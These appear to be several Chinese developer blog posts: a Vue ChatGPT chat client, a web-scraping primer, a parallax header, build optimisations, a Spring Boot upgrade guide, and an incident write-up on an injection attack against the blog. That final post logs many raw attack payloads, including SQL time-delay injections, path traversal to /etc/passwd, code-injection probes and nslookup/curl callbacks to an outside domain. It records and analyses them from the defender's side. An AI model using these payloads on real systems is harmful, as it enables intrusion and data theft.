                    <RightItem :id="item.id" :type="item.type" :content="item.content" v-if="item.me"></RightItem>
                    <LeftItem :id="item.id" :type="item.type" :content="item.content" v-else></LeftItem>
                    <div v-scroll style="height: 0"></div>
                </li>
            </ul>
        </div>
        <div class="bottom">
            <div class="line"></div>
            <div class="input-send">
                <van-field v-model="text" placeholder="请输入聊天内容..." class="input" @keyup.enter="send"/>
                <van-button plain type="info" class="send" @click="send">发送</van-button>
            </div>
        </div>
    </div>
</template>

<script>
    import Vue from "vue";
    // eslint-disable-next-line no-unused-vars
    import {getChatResponse} from "@/api/ChatGPT";
    import LeftItem from "@/components/LeftItem";
    import RightItem from "@/components/RightItem";

    Vue.directive('scroll', {
        inserted(el) {
            el.scrollIntoView()
        }
    })

    export default {
        name: "Chat",
        components: {LeftItem, RightItem},
        data: () => {
            return {
                text: '',
                msglist: [{
                    id: 1,
                    type: 1,
                    content: '欢迎你！',
                    me: false
                }],
                rebootBusy: false
            }
        },
        methods: {
            send() {
                if (this.text && !this.rebootBusy) {
                    var lastChat = this.getLastChat()
                    this.msglist.push({
                        id: this.msglist[this.msglist.length - 1].id + 1,
                        type: 1,
                        content: this.text,
                        me: true
                    })
                    this.getResponse(lastChat + "Human: " + this.text + "\nAI: ")
                    this.text = ''
                }
            },
            getResponse(text) {
                var obj = {
                    "model": "text-davinci-003",
                    "prompt": text,
                    "temperature": 0.8,
                    "max_tokens": 2048,
                    "top_p": 1,
                    "frequency_penalty": 0.4,
                    "presence_penalty": 0.3,
                    "stop": ["Human:", "AI:"]
                }
                console.log(text)
                this.msglist.push({
                    id: this.msglist[this.msglist.length - 1].id + 1,
                    type: 1,
                    content: "机器人正在组织语言，请稍等...",
                    me: false
                })
                this.rebootBusy = true
                getChatResponse(obj).then(
                    response => {
                        console.log(response)
                        this.rebootBusy = false
                        this.msglist.splice(-1, 1)
                        if (response.choices[0]['text'] == "error") {
                            this.msglist.splice(-1, 1)
                            alert("OpenAI服务器错误，请稍后再试")
                            return
                        }
                        this.msglist.push({
                            id: this.msglist[this.msglist.length - 1].id + 1,
                            type: 1,
                            content: response.choices[0]['text'].replace(/\s+$/,''),
                            me: false
                    })
                })
            },
            getLastChat() {
                let chat = ""
                for (let i = 1; i < this.msglist.length; i++) {
                    if (this.msglist[i]['me']) {
                        chat = chat + "Human: " + this.msglist[i]['content'] + "\nAI: "
                    }
                    else {
                        chat = chat + this.msglist[i]['content'] + "\n"
                    }
                }
                if (chat.length > 2000) {
                    alert("连续对话超过显示，接下来无法进行连续对话，请重启")
                    return ""
                }
                return chat;
            }
        }
    }
</script>

<style scoped lang="scss">
    .container {
        ul {
            padding: 0;
            margin: 0;
        }

        li {
            list-style: none;

        }

        .list {
            width: 100%;
            height: 100%;
            margin-bottom: 45px;
        }

        .bottom {
            width: 100%;
            position: fixed;
            bottom: 0;

            .line {
                width: 100%;
                height: 1px;
                background-color: #ddd;
            }

            .input-send {
                display: flex;
                justify-content: space-between;
                background-color: #fff;

                .input {
                    padding-right: 10px;
                }

                .send {
                    width: 80px;
                    height: 30px;
                    margin-top: 7px;
                    margin-right: 10px;
                }
            }

        }
    }
</style>

LeftItem.vue

<template>
    <div class="container">
        <img class="head" src="https://media.baby7blog.com/chatgpt/chatGPT.png"/>

        <div class="content">
            <div class="text" v-if="type===1">
                {{content}}
            </div>
            <img class="img" :src="content" v-else-if="type===2" @click="preview(content)"/>
        </div>

    </div>
</template>

<script>
    import ImagePreview from "vant/lib/image-preview";

    export default {
        name: "LeftItem",
        props: ['id', 'type', 'content'],
        methods: {
            preview(url){
                ImagePreview([url])
            }
        }
    }
</script>

<style scoped lang="scss">
    .container {
        display: flex;
        padding: 10px 15px;
        margin-right: 60px;

        .head {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            border: 1px solid #eee;
        }

        .content {
            margin-left: 10px;
            margin-top: 10px;

            .text {
                background-color: deepskyblue;
                border-bottom-right-radius: 10px;
                padding: 5px 5px;
                font-size: 14px;
                color: #fff;
                white-space: pre-line;
            }

            .img {
                width: 100px;
                border-bottom-right-radius: 10px;
                border-top-right-radius: 10px;
                border-bottom-left-radius: 10px;
            }
        }

    }
</style>

RightItem.vue

<template>
    <div class="container">
        <img class="head"
             src="https://media.baby7blog.com/chatgpt/baby7.png"/>
        <div class="content">
            <div class="text" v-if="type===1">
                {{content}}
            </div>
            <img class="img" :src="content" v-else-if="type===2"/>
        </div>
    </div>
</template>

<script>

    export default {
        name: "RightItem",
        props: ['id', 'type', 'content']
    }
</script>

<style scoped lang="scss">
    .container {
        display: flex;
        padding: 10px 15px;
        margin-left: 60px;
        flex-direction: row-reverse;

        .head {
            width: 40px;
            height: 40px;
            border-radius: 50%;
            border: 1px solid #eee;
        }

        .content {
            margin-right: 10px;
            margin-top: 10px;

            .text {
                background-color: #eee;
                border-bottom-left-radius: 10px;
                padding: 5px 5px;
                font-size: 14px;
                color: #000;
                white-space: pre-line;
            }

            .img {
                width: 100px;
                border-bottom-right-radius: 10px;
                border-top-right-radius: 10px;
                border-bottom-left-radius: 10px;
            }
        }

    }
</style>

爬虫入门

七仔(Github) — Mon, 26 Aug 2024 06:57:49 GMT

爬虫入门

一、前言

先叠甲，只用于学习和研究。个人修行不够，有错误的或者补充的地方请联系我，轻喷。

二、运行方式

单脚本爬取

一般是直接使用reqrests库进行请求，在爬取维度比较少的情况下编程比较快，而且易上手

爬虫框架

用得最多的就是Scrapy，有完备的解决方案，但需要一定的门槛

调用浏览器

通过python调用浏览器进行爬取，更多时候这也被用过自动化测试，这种方式还可以绕过部分网站的爬虫校验程序，缺点是速度慢、耗资源量大

三、爬取方式

通过网站地图

大部分网站会提供网站地图，一般是/sitemap.xml，通过这里面提供的网址进行爬取，例如我博客的地图：https://www.baby7blog.com/sitemap.xml

双向爬取

分为水平爬取和垂直爬取，可以结合起来。这里可以参考我的博客：Scrapy实战：双向爬取（豆瓣电影Top250）

请求爬取

就是通过改变接口的api直接获取结果，一般用于页面请求比较规律的情况

四、运行方式

短时运行

如果是一次性获取数据的话可以直接在电脑上跑完就行可以

长时运行

通过服务器命令行运行7*24小时运行比较文档

定时运行

可以通过服务器定时（例如crontab）运行，或者使用一些爬虫管理软件，例如：Crawlab、Gerapy、Scrapydweb、SpiderKeeper、scrapyd、SwordCaster。推荐Crawlab，这里可以参考文章：https://blog.51cto.com/u_15050718/4322958

五、存储

数据库

可以存到各种数据库中，例如mysql、sqlite、mongodb等等

文件

表格形式的可以存为csv、xlxs等，或者转换为pdf和word，甚至可以存为txt或者log

源格式

可以直接根据请求的方式保存为html或者json格式

六、技术要点

验证码

一般是根据网站的验证码类型引入对应的识别包或者调用验证码识别api完成。

爬取限制

同ip或者同机器或者同浏览器的时间段内爬取量限制。可以通过修改请求UA、使用第三方代理方式，或者直接降低爬取频率到限制内。这里看可以参考我的博客：为Scrapy爬虫添加UA池和动态IP代理池

抓包

常用的抓包软件如：Fiddler、wireshark、安卓端的小黄鸟，如果还不行的话甚至可以在路由器端装插件抓包（只有部分浏览器支持）

影音资源

对于视频最常见的就是m3u8的，是一种对视频切片分段下载的方式，爬取时需要下载所有的片段然后根据m3u8文件使用命令行或者FFmpeg进行合并。需要注意有时网站会对切片文件进行加密或者修改切片的格式。

对于音频比较少见切片，但一般都会有加密，这可以去github上找解密包或者解密工具。

解析

常见的有html、json，对于json直接使用json解析然后获取就行，对于html推荐通过xpath解析，或者使用xml包解析，最后解析获得的字符串还可以使用正则表达式进行再次解析和提取。

编码

最常见的就是utf-8和gbk的格式转换

小说

现在的小说网站基本都会使用字体映射修改，就是通过修改字体中每个字的映射来让你抓取到的文章变成乱码，如果少量可以通过人工矫正，大量就不知道了。。。。

Vue视差标题背景

七仔(Github) — Sun, 25 Aug 2024 12:20:08 GMT

Vue视差标题背景

一、说明

这个我是为了放在博客的标题部分作为背景图，上下滚动的时候比较好看。

原理就是通过几张透明的png进行叠加，然后在上下滚动时，外层png移动的快，内层png移动得慢来实现视差效果。

先放一张示意图：

这里实际的距离X和Y在观察者看来是一样的，原因是距离观察者的距离Z不一样导致的。

再放一张视差标题背景的3d示意图：

二、Vue代码

这里为了代码高亮分三部分展示

html部分

<template>
  <section>
    <img :src="p0Src" id="p0" :style="{ transform: `translateY(${p0Top}px)`, zIndex: `100` }" alt="p0">
    <img :src="p1Src" id="p1" :style="{ transform: `translateY(${p1Top}px)`, zIndex: `200` }" alt="p1">
    <img :src="p2Src" id="p2" :style="{ transform: `translateY(${p2Top}px)`, zIndex: `300` }" alt="p2">
    <img :src="p3Src" id="p3" :style="{ transform: `translateY(${p3Top}px)`, zIndex: `400` }" alt="p3">
    <img :src="p4Src" id="p4" :style="{ transform: `translateY(${p4Top}px)`, zIndex: `500` }" alt="p4">
    <img :src="p6Src" id="p6" :style="{ transform: `translateY(${p6Top}px)`, zIndex: `600` }" alt="p6">
    <div id="banner_title"
         class="container"
         :style="{ marginRight: `0px`, marginTop: `${bannerTitleMarginTop}px`, width: `75%`}">
        <h1>{{blogTitle}}</h1>
        <p class="description">{{blogDescription}}</p>
    </div>
  </section>
</template>

js部分

<script>
const imgUrl = "https://xxxxxxxxxxxx/";
export default {
  name: "Banner",
  data() {
    return {
      p0Src: imgUrl + 'banner/ppp0.png',
      p1Src: imgUrl + 'banner/pp1.png',
      p2Src: imgUrl + 'banner/pp2.png',
      p3Src: imgUrl + 'banner/pp3.png',
      p4Src: imgUrl + 'banner/pp4.png',
      p6Src: imgUrl + 'banner/pp6.png',
      p0Top: 0,
      p1Top: 0,
      p2Top: 0,
      p3Top: 0,
      p4Top: 0,
      p6Top: 0,
      bannerTitleMarginTop: -100,
      requestId: undefined, // 用于跟踪 requestAnimationFrame 的标识
    };
  },
  props:{
    blogTitle:{
      type: String,
      require: true
    },
    blogDescription:{
      type: String,
      require: true
    },
  },
  mounted() {
    this.addScrollListener();
  },
  beforeDestroy() {
    this.removeScrollListener();
  },
  methods: {
    addScrollListener() {
      // 使用 passive 参数优化滚动性能
      window.addEventListener('scroll', this.handleScroll, {passive: true});
    },
    removeScrollListener() {
      window.removeEventListener('scroll', this.handleScroll);
    },
    handleScroll() {
      const value = window.scrollY;
      this.p0Top = value * 0.6;
      this.p1Top = value * 0.36;
      this.p2Top = value * 0.24;
      this.p3Top = value * 0.16;
      this.p4Top = value * 0.12;
      this.p6Top = 0;
      this.bannerTitleMarginTop = value * 1.1 - 100;
      // 使用 requestAnimationFrame 更新样式
      if (this.requestId === undefined) {
        this.requestId = requestAnimationFrame(this.updateStyles);
      }
    },
    updateStyles() {
      // 清除请求动画帧标识
      this.requestId = undefined;
    }
  }
}
</script>

style部分

<style scoped lang="scss">
section {
  position: relative;
  width: 100%;
  height: 100vh;
  padding: 0px;
  display: flex;
  justify-content: center;
  align-items: center;
  overflow: hidden;

  img {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    //height: 100%;
    object-fit: cover;
    pointer-events: none;
    will-change: transform; // 提前告知浏览器哪些属性可能会发生变化
  }

  #p4,#p3,#p2,#p1,#p0 {
    width: 100%;
    height: 100%;
  }

  #p6 {
    width: 100%;
    height: 150%;
  }

  section::before {
    content: '';
    position: absolute;
    bottom: 0;
    width: 100%;
    //height: 100px;
    background: linear-gradient(to top, #1c0522, transparent);
    //z-index: 1000;
  }
}
@-webkit-keyframes bounce {
  0%,10%,25%,40%,50% {
    -webkit-transform: translateY(0) rotate(0deg);
    transform: translateY(0) rotate(0deg)
  }

  20% {
    -webkit-transform: translateY(-10px) rotate(0deg);
    transform: translateY(-10px) rotate(0deg)
  }

  30% {
    -webkit-transform: translateY(-5px) rotate(0deg);
    transform: translateY(-5px) rotate(0deg)
  }
}

@keyframes bounce {
  0%,10%,25%,40%,50% {
    -webkit-transform: translateY(0) rotate(0deg);
    transform: translateY(0) rotate(0deg)
  }

  20% {
    -webkit-transform: translateY(-10px) rotate(0deg);
    transform: translateY(-10px) rotate(0deg)
  }

  30% {
    -webkit-transform: translateY(-5px) rotate(0deg);
    transform: translateY(-5px) rotate(0deg)
  }
}
</style>

三、效果

可以点击七仔的博客然后上下缓慢滚动来查看效果。

Vue部分优化记录

七仔(Github) — Sun, 25 Aug 2024 10:47:19 GMT

Vue部分优化记录

一、说明

继后端进行版本升级后，想着对前端也进行一下优化，顺便记录一下

二、记录

2.1 版本更新刷新浏览器缓存

由于之前更新时打包是按默认来的，每次打包的js文件名都一样，导致浏览器缓存可能不会刷新，这次对每次打包的js文件名用时间戳命名。

vue.config.js

const  Timestamp = new Date().getTime(); //时间戳
module.exports = {
    configureWebpack: {
        output: {
            filename: 'js/[name].'+Timestamp+'.js',
            chunkFilename: 'js/[name].'+Timestamp+'.js'
        }
    }
}

2.2 环境问题

之前运行命令是复制的，没有和配置文件联动，会导致实际到线上的还是开发环境，导致包体积过大，实际上只需要使用默认的命令就可以（之前在运行命令加了个--mode prod）

package.json

  "scripts": {
    "serve": "vue-cli-service serve",
    "build": "vue-cli-service build",
  }

2.3 构建js文件包分析

这个是自带的一个功能，通过在运行命令增加 --report 就可以在构建后倒出一个report.html，用这个就可以看到每个js包含了哪些东西，如果有公共的包可以转换为cdn去加载。

package.json

  "scripts": {
    "build": "vue-cli-service build --report",
  }

2.4 删除构建js文件中的注释和console

通过引入插件uglifyjs-webpack-plugin实现

vue.config.js

const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
module.exports = {
    configureWebpack: {
        plugins: [
            new UglifyJsPlugin({
                uglifyOptions: {
                    output: {
                        comments: false, // 去掉注释
                    },
                    warnings: false,
                    compress: {
                        drop_console: true,
                        drop_debugger: false,
                        pure_funcs: ['console.log']//移除console
                    }
                }
            })
        ]
    }
}

2.5 Gzip压缩

通过引入插件compression-webpack-plugin实现，对导出文件进行gzip压缩，进一步加速加载速度

vue.config.js

const CompressionPlugin = require('compression-webpack-plugin');
module.exports = {
    configureWebpack: {
        plugins: [
            new CompressionPlugin({//gzip压缩配置
                test:/\.js$|\.html$|\.css/,//匹配文件名
                threshold:10240,//对超过10kb的数据进行压缩
                deleteOriginalAssets:false,//是否删除原文件
            })
        ]
    }
}

升级到SpringBoot3.2和JDK17

七仔(Github) — Fri, 23 Aug 2024 15:46:03 GMT

升级到SpringBoot3.2和JDK17

一、说明

博客后台进行版本升级，SpringBoot从2.1升级到3.2，JDK从8升级到17，在这篇文章中记录一下需要注意的点

二、调整

2.1 Gradle调整

gradle升级到了8.8，需要修改获取gradle的文件

gradle-wrapper.properties文件：

distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-8.8-bin.zip
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists

还需要修改项目的包管理gradle文件

build.gradle文件：

plugins {
    id 'java'
    id 'org.springframework.boot' version '3.3.2'
    id 'io.spring.dependency-management' version '1.1.6'
}

group = 'com.xxxxxxx'
version = '0.0.1-SNAPSHOT'
description = """xxxxxxxxxxxxx"""

java {
    toolchain {
        languageVersion = JavaLanguageVersion.of(17)
    }
}

// 仓库
repositories {
    // 阿里云仓库
    maven { url "https://maven.aliyun.com/nexus/content/groups/public" }
    mavenCentral()
}

// 依赖
dependencies {
    // ...
    // 这里引入依赖
}

tasks.withType(JavaCompile) {
    options.compilerArgs.add("-parameters")
}

tasks.named('test') {
    useJUnitPlatform()
}

2.2 Redis调整

一个是配置要修改，从spring.redis调整为spring.data.redis

application.yml

# Spring
spring:
  data:
    # redis
    redis:
      # Redis数据库索引
      database: 0
      # Redis服务器地址
      host: localhost
      # Redis服务器连接端口
      port: 6379
      # Redis服务器连接密码
      password:
      # 连接超时时间（毫秒）
      timeout: 1000
      # 连接池
      lettuce:
        pool:
          # 连接池最大连接数（使用负值表示没有限制）
          max-active: 200
          # 连接池最大阻塞等待时间（使用负值表示没有限制）
          max-wait: -1
          # 连接池中的最大空闲连接
          max-idle: 10
          # 连接池中的最小空闲连接
          min-idle: 0

还要调整配置，不一定非要是下面这样，我是之前的用不了了

RedisConfig.java

import com.alibaba.fastjson.support.spring.GenericFastJsonRedisSerializer;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.data.redis.core.RedisTemplate;
import org.springframework.data.redis.serializer.StringRedisSerializer;

import java.nio.charset.StandardCharsets;

/**
 * redis配置类
 */
@Configuration
public class RedisConfig {

    @Bean
    public RedisTemplate<String, Object> redisTemplate(RedisConnectionFactory redisConnectionFactory) {
        RedisTemplate<String, Object> template = new RedisTemplate<>();
        // 连接工厂
        template.setConnectionFactory(redisConnectionFactory);
        // key序列化
        template.setKeySerializer(new StringRedisSerializer(StandardCharsets.UTF_8));
        // value序列化
        template.setValueSerializer(new GenericFastJsonRedisSerializer());
        // hash序列化
        template.setHashKeySerializer(new StringRedisSerializer(StandardCharsets.UTF_8));
        template.setHashValueSerializer(new GenericFastJsonRedisSerializer());
        // 启用事务支持
        template.setEnableTransactionSupport(true);
        return template;
    }
}

@Cacheable中的SpEL表达式可能需要调整，我之前用的是#page.current，现在调整为了#page['current']，不过这个不知道是redis配置升级导致的还是mybatisplus升级导致的（page是mybatisplus中的）

XXXController.java

import com.baomidou.mybatisplus.extension.plugins.pagination.Page

public class XXXController {
    @Cacheable(value = CommonConstants.REDIS_GROUP_BLOG, key = "'page/'+#page['current']+'/'+#page['size']")
    public R<?> getXXX(Page page) {
        return R.ok();
    }
}

我这里还有个自用的Redis工具类的del函数有调整

RedisUtil.java

    /**
     * 删除缓存
     *
     * @param key 可以传一个值 或多个
     */
    @SuppressWarnings("unchecked")
    public void del(String... key) {
        if (key != null && key.length > 0) {
            List<String> keys = Arrays.asList(key);
            if (key.length == 1) {
                redisTemplate.delete(keys.get(0));
            } else {
                redisTemplate.delete(keys);
            }
        }
    }

2.3 MyBatis调整

首先是gradle中的MybatisPlus依赖调整

build.gradle

// 依赖
dependencies {
    // mybatis-plus，数据层框架
    implementation 'com.baomidou:mybatis-plus-spring-boot3-starter:3.5.7'
}

还有配置类需要调整

MybatisPlusConfig.java

import com.baomidou.mybatisplus.extension.plugins.MybatisPlusInterceptor;
import com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

@Configuration
public class MybatisPlusConfig {

    @Bean
    public MybatisPlusInterceptor mybatisPlusInterceptor() {
        MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();
        interceptor.addInnerInterceptor(new PaginationInnerInterceptor());	// 分页支持
        return interceptor;
    }
}

还有Mapper需要调整，升级后需要明确对象的参数名

XXXX.java

	/**
	 * 分页查询
	 */
	IPage<Xxxxx> getXxxxxPage(@Param("page") Page<Xxxxx> page, @Param("xxxxxDTO") XxxxxDTO xxxxxDTO);

2.4 引入javax.servlet改为jakarta.servlet

所有的javax.servlet引入都改为jakarta.servlet

XXXX.java

import jakarta.servlet.http.HttpServletResponse;
import jakarta.mail.internet.MimeMessage;
import jakarta.servlet.http.HttpServletRequest;

2.5 SpringSecurity调整

一个是不再需要继承WebSecurityConfigurerAdapter，configure函数也不需要@Override了，需要换成@Bean去加载，函数名更换为filterChain

SecurityConfig.java

package com.baby7blog.config;

import com.baby7blog.modules.blog.common.CommonConstants;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configurers.AbstractHttpConfigurer;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.SecurityFilterChain;
import org.springframework.security.web.authentication.logout.LogoutFilter;

/**
 * Spring Security 适配器
 */
@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Autowired
    private AuthFilter authFilter;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity httpSecurity) throws Exception {
        return httpSecurity
                // CSRF禁用，因为不使用session
                .csrf(AbstractHttpConfigurer::disable)
                // 基于token，所以不需要session
                .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
                // 过滤请求
                .authorizeHttpRequests(authorize -> authorize.requestMatchers(
                        "/xxxxxx1",
                        "/xxxxxx2").permitAll().anyRequest().authenticated()
                )
                // 添加权限过滤器
                .addFilterBefore(authFilter, LogoutFilter.class)
                .build();
    }
}

博客被注入攻击的记录

七仔(Github) — Tue, 20 Aug 2024 09:21:18 GMT

博客被注入攻击的记录

一、讲讲

事实上开始没发现，今天没事儿瞅瞅博客才看见的，mysql里面的评论数据不太对劲，然后看了看一堆乱码，再仔细一看发现有XOR什么的，可能是sql注入攻击，挑了一个出来百度搜了一下真是注入攻击。。。

还好后端java的数据层用的是#{}而不是${}，不然可能就被成功注入了。

他是通过给每个请求的任意参数修改成注入的字符串，然后改一个请求一个（每改一个都会请求一次），所以一个请求参数越多请求的次数越多。

而且请求得异常频繁，从我被攻击的记录来看一秒钟会有三十次请求的频率。最终多达十一万多条记录。

下面会尽力分析一下，我会在最后放出统计的注入代码。

二、分析下

1. sql延时注入

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

分析：mysql延时语句，如果请求真的等了十五秒才返回，说明语句被执行了，证明网站有漏洞

-1" OR 2+265-265-1=0+0+0+1 -- 
-1 OR 2+192-192-1=0+0+0+1 -- 
-1 OR 2+152-152-1=0+0+0+1
-1' OR 2+349-349-1=0+0+0+1 --

分析：看起来很经典，就是让这个sql的where是true

2. linux的sh脚本和 windows的shell脚本

/etc/shells
../../../../../../../../../../../../../../etc/shells
../../../../../../../../../../../../../../etc/passwd
(nslookup -q=cname hitxknfbuvcytb6fbe.bxss.me||curl hitxknfbuvcytb6fbe.bxss.me))

c:/windows/win.ini
../../../../../../../../../../../../../../windows/win.ini

分析：大致就是通过这个判断是否可以直接运行操作系统命令

3. http地址

Http://bxss.me/t/fit.txt

分析：可能是通过这个判断有没有外网访问？？？另外其中出现了很多次bxss.me域名，应该是黑客持有的域名

4. javascript脚本

Socket.gethostbyname('hitjj'+'iavjtlgsadee5.bxss.me.')[3].to_s)+'
'+response.write(9045529*9064400)+'
'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(104).concat(76)+(require'socket'

分析：应该是通过js脚本注入去连接黑客的服务器，看不出来

5. 不知道

assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))
print(md5(31337));

分析：单独拎出来是发现上面那行base64解码后正好是print(md5(31337));，不知道为什么是这个值，可能会用返回值判断是否执行

二、记录下注入的字符串

fwC4EYe6
5JirZv7l
-1 OR 2+405-405-1=0+0+0+1 -- 
-1 OR 2+295-295-1=0+0+0+1
-1' OR 2+728-728-1=0+0+0+1 -- 
-1' OR 2+408-408-1=0+0+0+1 or '4kHIj9TJ'='
-1" OR 2+265-265-1=0+0+0+1 -- 
-1 OR 2+192-192-1=0+0+0+1 -- 
-1 OR 2+152-152-1=0+0+0+1
-1' OR 2+349-349-1=0+0+0+1 -- 
-1' OR 2+303-303-1=0+0+0+1 or 'mtCw6viM'='
-1" OR 2+768-768-1=0+0+0+1 -- 
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1 waitfor delay '0:0:15' -- 
5SOkP5Kv'; waitfor delay '0:0:15' -- 
61nop9yL'; waitfor delay '0:0:15' -- 
2aROwtzh' OR 737=(SELECT 737 FROM PG_SLEEP(15))--
Kw2oFy63' OR 821=(SELECT 821 FROM PG_SLEEP(15))--
zwHhvrlx') OR 443=(SELECT 443 FROM PG_SLEEP(15))--
rq7hD9Tg') OR 801=(SELECT 801 FROM PG_SLEEP(15))--
6clWyyhe')) OR 966=(SELECT 966 FROM PG_SLEEP(15))--
XcmAaVzf')) OR 969=(SELECT 969 FROM PG_SLEEP(15))--
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
'"
'"%2527%2522\'\"
@@zCCrR
@@rdUn2
9QPgamGo
-1 OR 2+423-423-1=0+0+0+1 -- 
-1 OR 2+973-973-1=0+0+0+1
-1' OR 2+479-479-1=0+0+0+1 -- 
-1' OR 2+232-232-1=0+0+0+1 or 'U8LOQPLc'='
-1" OR 2+909-909-1=0+0+0+1 -- 
uKSjy32g'; waitfor delay '0:0:15' -- 
gq0rxPX1' OR 170=(SELECT 170 FROM PG_SLEEP(15))--
8OpoQPtx') OR 702=(SELECT 702 FROM PG_SLEEP(15))--
4OqyfDvr')) OR 222=(SELECT 222 FROM PG_SLEEP(15))--
@@9tlgW
5rlVqKWT
-1 OR 2+812-812-1=0+0+0+1 -- 
-1 OR 2+86-86-1=0+0+0+1
-1' OR 2+733-733-1=0+0+0+1 -- 
-1' OR 2+969-969-1=0+0+0+1 or 'IPZ80XU4'='
-1" OR 2+771-771-1=0+0+0+1 -- 
1uQhlNir
-1 OR 2+831-831-1=0+0+0+1 -- 
-1 OR 2+242-242-1=0+0+0+1
-1' OR 2+948-948-1=0+0+0+1 -- 
-1' OR 2+606-606-1=0+0+0+1 or '06rxK1Hg'='
-1" OR 2+715-715-1=0+0+0+1 -- 
LkXCLN9W'; waitfor delay '0:0:15' -- 
Q7qikNOp' OR 43=(SELECT 43 FROM PG_SLEEP(15))--
4ofH2iTX') OR 996=(SELECT 996 FROM PG_SLEEP(15))--
Yp6UTf13')) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
@@TnwBO
r28l1zSQ'; waitfor delay '0:0:15' -- 
eY5wrHhS' OR 463=(SELECT 463 FROM PG_SLEEP(15))--
c8T2gMfk') OR 322=(SELECT 322 FROM PG_SLEEP(15))--
9G8OUeOT')) OR 795=(SELECT 795 FROM PG_SLEEP(15))--
TWYECcam
@@Y57b3
-1 OR 2+955-955-1=0+0+0+1 -- 
-1 OR 2+454-454-1=0+0+0+1
-1' OR 2+434-434-1=0+0+0+1 -- 
xCiXJLfS
-1' OR 2+102-102-1=0+0+0+1 or 'Y7Jeh4oD'='
-1" OR 2+662-662-1=0+0+0+1 -- 
-1 OR 2+913-913-1=0+0+0+1 -- 
-1 OR 2+854-854-1=0+0+0+1
-1' OR 2+127-127-1=0+0+0+1 -- 
-1' OR 2+320-320-1=0+0+0+1 or 'm5tul3Ho'='
-1" OR 2+174-174-1=0+0+0+1 -- 
qymRhoN0'; waitfor delay '0:0:15' -- 
JEdrwrKo' OR 622=(SELECT 622 FROM PG_SLEEP(15))--
lSDr6V1G') OR 797=(SELECT 797 FROM PG_SLEEP(15))--
pojyfgpF'; waitfor delay '0:0:15' -- 
YoKWsRdn')) OR 175=(SELECT 175 FROM PG_SLEEP(15))--
m0bXtXEH' OR 768=(SELECT 768 FROM PG_SLEEP(15))--
MEfm0Drz') OR 544=(SELECT 544 FROM PG_SLEEP(15))--
@@5cOsd
VQUsMg6y')) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
@@NWiCn
"+"A".concat(70-3).concat(22*4).concat(121).concat(85).concat(115).concat(67)+(require"socket"
Socket.gethostbyname("hitst"+"srmbbhbec67c1.bxss.me.")[3].to_s)+"
response.write(9045529*9064400)
'+'A'.concat(70-3).concat(22*4).concat(122).concat(89).concat(103).concat(87)+(require'socket'
Socket.gethostbyname('hitjj'+'iavjtlgsadee5.bxss.me.')[3].to_s)+'
'+response.write(9045529*9064400)+'
'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(104).concat(76)+(require'socket'
Socket.gethostbyname('hityf'+'koealnvt5e322.bxss.me.')[3].to_s)
"+response.write(9045529*9064400)+"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
!(()&&!|*|*|
";print(md5(31337));$a="
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
${@print(md5(31337))}
../../../../../../../../../../../../../../windows/win.ini
${@print(md5(31337))}\
'.print(md5(31337)).'
file:///etc/passwd
../
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hitwk'.'wvognwak94d12.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(106).chr(70).'
".gethostbyname(lc("hitun"."ddbipcxn1bcfe.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(70).chr(121).chr(85)."
gethostbyname(lc('hitjg'.'magphqcaba2c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(86).chr(97).chr(65)
'"()
'&&sleep(27*1000)*zwvrii&&'
echo yqvnpa$()\ dzwtva\nz^xyu||a #' &echo yqvnpa$()\ dzwtva\nz^xyu||a #|" &echo yqvnpa$()\ dzwtva\nz^xyu||a #
"&&sleep(27*1000)*ncsdvq&&"
&echo qbumwv$()\ xjyxzj\nz^xyu||a #' &echo qbumwv$()\ xjyxzj\nz^xyu||a #|" &echo qbumwv$()\ xjyxzj\nz^xyu||a #
'||sleep(27*1000)*gvzkot||'
|echo abopqv$()\ rytabv\nz^xyu||a #' |echo abopqv$()\ rytabv\nz^xyu||a #|" |echo abopqv$()\ rytabv\nz^xyu||a #"||sleep(27*1000)*ghayjm||"
(nslookup -q=cname hitxknfbuvcytb6fbe.bxss.me||curl hitxknfbuvcytb6fbe.bxss.me))
